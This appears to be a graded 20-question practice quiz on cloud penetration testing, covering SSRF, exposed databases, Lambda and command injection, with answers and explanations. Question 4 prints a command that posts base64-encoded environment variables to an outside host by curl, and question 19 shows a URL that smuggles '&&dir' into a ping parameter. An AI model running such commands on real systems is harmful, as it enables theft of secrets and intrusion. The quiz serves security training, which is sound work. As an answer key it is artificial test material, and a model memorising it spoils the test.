There are two outputs for command-line injection: one that is visible to the user in the webpage, and blind injection, where the results of the command are not displayed. If the injection is occurring but you are unable to see it, this would be classified as blind command injection. -- Book 4 Page 54

Question 2 of 20Correct

During a vulnerability assessment for a client searching for exposed databases, a tester discovers port 27017 is exposed by a cloud application. What command could they use to attempt to connect to this service using its native client to validate the finding?

correct answer: mongo --host <host> --port 27017</host>. selected

Responses

* redis-cli -h <host>

redis-cli -h - no response given

* mysql --host <host> --p 27017

mysql --host --p 27017 - no response given

* postgresql -h <host>

postgresql -h - no response given

* mongo --host <host> --port 27017

mongo --host --port 27017 - correct

**Explanation**

One commonly exposed database is MongoDB, which uses port 27017. Use the Mongo Client or Nmap to validate: mongo --host <host> --port <port>, nmap –p 27017 --script=mongodb-databases <ip>. -- Book 4 Page 81

Question 3 of 20Correct

What is the risk associated with an attacker exploiting an SSRF vulnerability on a system?

correct answer: The ability to access content that is normally not accessible. selected

Responses

* Changing the role a service is running as

Changing the role a service is running as - no response given

* Installation of a backdoor on the system

Installation of a backdoor on the system - no response given

* Overwriting session tokens

Overwriting session tokens - no response given

* The ability to access content that is normally not accessible

The ability to access content that is normally not accessible - correct

**Explanation**

If an application has a server-side request forgery (SSRF) vulnerability, an attacker can control HTTP requests issued by the server. If an attacker can leverage HTTP calls in a system, they may be able to perform further system attacks. An attacker may be able to query this metadata service to extract keys or other sensitive information from environment variables. -- Book 4 Page 46

Question 4 of 20Correct

An investigation of the logs of a compromised server reveals that the attacker executed the commands below:  
  
local ='env|base64'  
curl -X POST -k https://remote.com/ --data "$local"  
  
What was the attacker trying to achieve with these two commands?

correct answer: Exfiltrate the local environment parameters. selected

Responses

* Exfiltrate the local environment parameters

Exfiltrate the local environment parameters - correct

* Use remote file inclusion

Use remote file inclusion - no response given

* Modify the local environment parameters

Modify the local environment parameters - no response given

* Set up a backdoor

Set up a backdoor - no response given

**Explanation**

The commands would Base64 encode the current environment variables in memory and place the output into a value called local. The curl command that follows executes a POST command that will push the data in the body of the message. This was done because URLs have a limit and one would exceed that limit by putting a large environment variable into the URL. -- Book 4 Page 35

Question 5 of 20Correct

A developer wants to ensure a newly developed application is considered cloud native. What guidelines, provided by the CNCF, can ensure this occurs?

correct answer: Trail Map. selected

Responses

* CN Track

CN Track - no response given

* Cloud Blueprint

Cloud Blueprint - no response given

* Code Legend

Code Legend - no response given

* Trail Map

Trail Map - correct

**Explanation**

The Cloud Native Computing Foundation (CNCF) publishes a Trail Map as a pathway to cloud-native applications. The map provides guidance on packages that allow a system to be considered cloud native. It includes CNCF-sponsored products and provides a roadmap to what products can be found in a cloud-native system. The Trail Map can be found at https://github.com/cncf/trailmap. -- Book 4 Page 8

Question 6 of 20Correct

Which of the following is a constraint of executing or invoking AWS Lambda functions?

correct answer: They require IAM permissions.. selected

Responses

* They require IAM permissions.

They require IAM permissions. - correct

* They can only be written in Python.

They can only be written in Python. - no response given

* They need a dedicated EC2 instance.

They need a dedicated EC2 instance. - no response given

* They cannot be triggered from the Internet directly.

They cannot be triggered from the Internet directly. - no response given

**Explanation**

Within AWS, Lambda requires a specific IAM permission to execute a function directly. API Gateway is how Lambdas can be triggered from the Internet directly. The language support for Lambda today includes JavaScript, Python, Go, C#, Ruby, and PowerShell. -- Book 4 Page 64

Question 7 of 20Incorrect

When using SQLmap with the --forms function, what may need to be done to successfully inspect for SQL injection points in a cloud environment?

incorrect answer: Also adding the --batch function to include default parameters. selected

Responses

* Also adding the --batch function to include default parameters

Also adding the --batch function to include default parameters - incorrect

* SQLmap is not supported in cloud environments.

SQLmap is not supported in cloud environments. - no response given

* Using additional headers

Using additional headers - no response given

* Encoding the payload

Encoding the payload - no response given

**Explanation**

SQLmap can find injection points (--crawl --forms); however, there will be moments in which --forms cannot handle some of the cloud-native calls, like API calls, without additional headers. -- Book 4 Page 99

Question 8 of 20Correct

When performing application mapping, which of the following is a way to find application URLs, endpoints, and APIs on cloud environments?

correct answer: Mutate document type sent from text/HTML to something similar, like application/JSON. selected

Responses

* Brute force publicly available unsecured services

Brute force publicly available unsecured services - no response given

* Fuzz a list of public IP addresses found during reconnaissance

Fuzz a list of public IP addresses found during reconnaissance - no response given

* Mutate document type sent from text/HTML to something similar, like application/JSON

Mutate document type sent from text/HTML to something similar, like application/JSON - correct

* Perform web fuzzing against the application ports

Perform web fuzzing against the application ports - no response given

**Explanation**

Application mapping is different than infrastructure mapping in that the application itself is typically mapped using a combination of server-side application walking and, at times, client-side analysis looking at the various endpoints that could appear on the client. Pentesters may be used to submitting a request by using a text/HTML document type or just not changing the request at all, but they may be able to find additional functionality by changing the document type to application/JSON. In addition, pentesters may be used to seeing requests as POST or GET, but there are many other types that they can use, such as PUT and PATCH. -- Book 4 Page 13

Question 9 of 20Correct

What is the typical user level at which container software runs?

correct answer: Root user. selected

Responses

* Root user

Root user - correct

* Standard user

Standard user - no response given

* Backup user

Backup user - no response given

* Guest user

Guest user - no response given

**Explanation**

Container software typically runs as root and as such offers unrestricted access in the container. This in turn can be used for lateral movement. It does not have to run in this manner but typically will. -- Book 4 Page 31

Question 10 of 20Correct

When performing client-side mapping of a web application, which of the following will provide better support for recent web client technologies?

correct answer: Web browser developer tools. selected

Responses

* Web browser developer tools

Web browser developer tools - correct

* Command-line tools like cURL

Command-line tools like cURL - no response given

* An interception proxy

An interception proxy - no response given

* The cloud application API

The cloud application API - no response given

**Explanation**

You can look for potential vulnerabilities by using either an interception proxy like Burp or the developer tools in web browsers. The developer tools have the advantage of being up to date with the web client technologies as well as having a built-in debugger. They have the disadvantage of being rather complex and not very well documented at times. Client-side proxies are designed for this type of work but have the disadvantage of not being what is interpreting the JavaScript at runtime. -- Book 4 Page 16

Question 11 of 20Incorrect

What is something to be aware of when performing SQL injection attacks in a cloud environment versus a traditional web application?

incorrect answer: SQL injections need to be threaded at an appropriate speed for the cloud environment.. selected

Responses

* SQL injections can be performed the same way in both environments.

SQL injections can be performed the same way in both environments. - no response given

* SQL injections have to be very carefully constructed to not violate terms of service.

SQL injections have to be very carefully constructed to not violate terms of service. - no response given

* SQL injections need to be threaded at an appropriate speed for the cloud environment.

SQL injections need to be threaded at an appropriate speed for the cloud environment. - incorrect

* SQL injections are not exploitable against hosts in the cloud.

SQL injections are not exploitable against hosts in the cloud. - no response given

**Explanation**

SQL injections have to be very carefully constructed to not violate the terms of service (TOS). For example, the Azure TOS include a restriction about getting a shell. Proving you have sysadmin access with SQLi is acceptable, but running xp\_cmdshell is not; this means you have to be very careful how you inject into AzureSQL as it is a shared environment. -- Book 4 Page 99

Question 12 of 20Correct

A company decides to utilize a cloud service provider’s Database-as-a-Service (DBaaS) offering and selects Amazon. What DBaaS offering is provided by Amazon?

correct answer: RDS. selected

Responses

* RDS

RDS - correct

* Cosmos

Cosmos - no response given

* CSDS

CSDS - no response given

* Firestore

Firestore - no response given

**Explanation**

Amazon, like most of the other cloud providers, has a database as a service or DBaaS offering. The Amazon offering is called RDS or Relational Database Service; it allows for a partially or fully managed service. Amazon has a proprietary database called Aurora, which is equivalent to the MySQL/MariaDB databases. Aurora is the fully managed offering, while RDS relies on existing VPC, subnets, and EC2 environments. -- Book 4 Page 90

Question 13 of 20Correct

Cloud infrastructure lends itself to newer, rapid prototyping databases; how has this become a security issue?

correct answer: Several database technologies have no authentication.. selected

Responses

* Cloud architectures provide similar services.

Cloud architectures provide similar services. - no response given

* Lambdas are publicly accessible without an API gateway.

Lambdas are publicly accessible without an API gateway. - no response given

* Several database technologies have no authentication.

Several database technologies have no authentication. - correct

* Database technologies are offered "as a service."

Database technologies are offered "as a service." - no response given

**Explanation**

Several database technologies have no authentication. Cloud infrastructures tend to lend themselves to leveraging newer, rapid prototyping databases and databases that are designed for scale-out architectures. Some of these database technologies are provided through an exposed port on the Internet, and most of the security features on cloud database technologies are paid extras. -- Book 4 Page 78

Question 14 of 20Correct

A team is responsible for performing security assessments and would like to categorize the targets they assess based on the service models. How should they categorize Amazon Lambda components of a target architecture?

correct answer: Function as a service. selected

Responses

* Infrastructure as a service

Infrastructure as a service - no response given

* Platform as a service

Platform as a service - no response given

* Software as a service

Software as a service - no response given

* Function as a service

Function as a service - correct

**Explanation**

Function as a service (FaaS) and serverless computing are terms that can be used to describe Amazon Lambda. With Azure Function, GCP Functions, and similar solutions, these environments are often event driven, but this is not necessarily the case. -- Book 4 Page 62

Question 15 of 20Correct

What type of web attack can also be used against cloud environments and involves the modification of existing strings to take over the operations of a system?

correct answer: Injection. selected

Responses

* Scripting

Scripting - no response given

* Hijacking

Hijacking - no response given

* Injection

Injection - correct

* Impersonation

Impersonation - no response given

**Explanation**

Injections are one of the most common attack classes in the world of web application penetration testing. Many of the attacks you will see in cloud-native applications are going to mirror standard web application attacks in that typically you are injecting strings onto existing strings and taking over operations of the system. Sometimes, these commands will be injected into the Applications execution path, which leads to an operating system command. Sometimes, it is in the language itself, leading to you having to write your own application logic. Other times, it is injected into the URL parameters of the application themselves.  
  
Cloud-native applications do have several properties that will lead to specific vulnerabilities. For example, server-side request forgeries (SSRFs) will be more common in microservices applications, as many of the routes may lead to other servers or container environments instead of an enclosed route. Other attacks will be lateral to services, such as SQL injection or other types of data storage injection attacks. -- Book 4 Page 41

Question 16 of 20Incorrect

From a penetration tester’s point of view, which of the following outlines a valid challenge when considering the build output from a CI/CD tool?

incorrect answer: The build system output can be accessed only if the deployment keys are available.. selected

Responses

* The build system output can be accessed only if the deployment keys are available.

The build system output can be accessed only if the deployment keys are available. - incorrect

* The build system output is available only through local developer tools.

The build system output is available only through local developer tools. - no response given

* The build system output is obscured, which makes it difficult to get effective feedback.

The build system output is obscured, which makes it difficult to get effective feedback. - no response given

* The build system output cannot be manipulated without root privileges.

The build system output cannot be manipulated without root privileges. - no response given

**Explanation**

Build system output is obscured, which makes it difficult to get effective feedback. One does not need elevated privileges to customize the output—a developer would have that option. Moreover, the output is often provided in multiple forms (text output at the command line, web-based GUI) without the need to have developer tools running, and no keys are required as the builds are often used for feature testing rather than deployment purposes. -- Book 4 Page 35

Question 17 of 20Incorrect

A developer wants to create a website-monitoring solution using an event-driven function and is considering a serverless computing platform. Which AWS service would you recommend as a possible solution?

incorrect answer: CloudTrail. selected

Responses

* CloudTrail

CloudTrail - incorrect

* Lambda

Lambda - no response given

* Key Management Service

Key Management Service - no response given

* EC2

EC2 - no response given

**Explanation**

AWS Lambda is part of a larger movement called serverless computing, or, in some instances, function as a service (FaaS). Lambda is "event driven" and, as such, the Lambda functions execute typically on an invocation. -- Book 4 Page 63

Question 18 of 20Correct

What potential problem for cloud applications, regarding communication between containers, do protocols such as REST, gRPC, and Redis aim to resolve?

correct answer: Passing variables, states, and messages between containers. selected

Responses

* Passing certificates, encryption keys, and local administrators between containers

Passing certificates, encryption keys, and local administrators between containers - no response given

* Passing authenticated users, traffic inspection, and system load between containers

Passing authenticated users, traffic inspection, and system load between containers - no response given

* Passing IP addresses, MAC addresses, and DNS between containers

Passing IP addresses, MAC addresses, and DNS between containers - no response given

* Passing variables, states, and messages between containers

Passing variables, states, and messages between containers - correct

**Explanation**

Cloud applications are broken into various components. Each component can be easier to update and maintain, and the system as a whole can be better maintained and made more resilient. There are potential problems: How do you pass variables, states, messages, and other options BETWEEN containers? New protocols were created to allow for these transactions to take place, such as HTTP/HTTPS (REST), gRPC, and session state storage. -- Book 4 Page 10

Question 19 of 20Correct

What potential attack vector is being exploited in the following URL?  
  
http://victim.net/index?ping=127.0.0.1%26%26dir.

correct answer: Command injection. selected

Responses

* Buffer overflow

Buffer overflow - no response given

* Authorization bypass

Authorization bypass - no response given

* SQL injection

SQL injection - no response given

* Command injection

Command injection - correct

**Explanation**

Command injections are exploitable if an attacker can take control of the command-line executions. In the above example, it may be possible to pad a command with a command useful to an attacker, e.g., …ping=127.0.0.1%26%26dir. -- Book 4 Page 54

**Question**

Question 20 of 20Correct

As a penetration tester, you are performing an assessment of an application that is running on a server and pulling in information from multiple external systems. Upon further testing, you find that you can control one of the URLs that it uses to pull down data as input to the application. What kind of attack can you launch on such a system?

correct answer: Server-side request forgery. selected

Responses

* Server-side request forgery

Server-side request forgery - correct

* Cross-site request forgery

Cross-site request forgery - no response given

* Cross-site scripting

Cross-site scripting - no response given

* Injection

Injection - no response given

**Explanation**

Server-side request forgery (SSRF) seems to be seeing a resurgence as a viable attack class. One of the many reasons for this is the way URLs are treated in cloud-native and microservices-based applications. Applications in many of the environments will either pull in information from other systems or may containerize functions among other systems. While protocols like gRPC can be used to pull the datasets back and forth, URLs are commonly used. Taking control of these URLs and redirecting them to other areas could lead to executions. -- Book 4 Page 44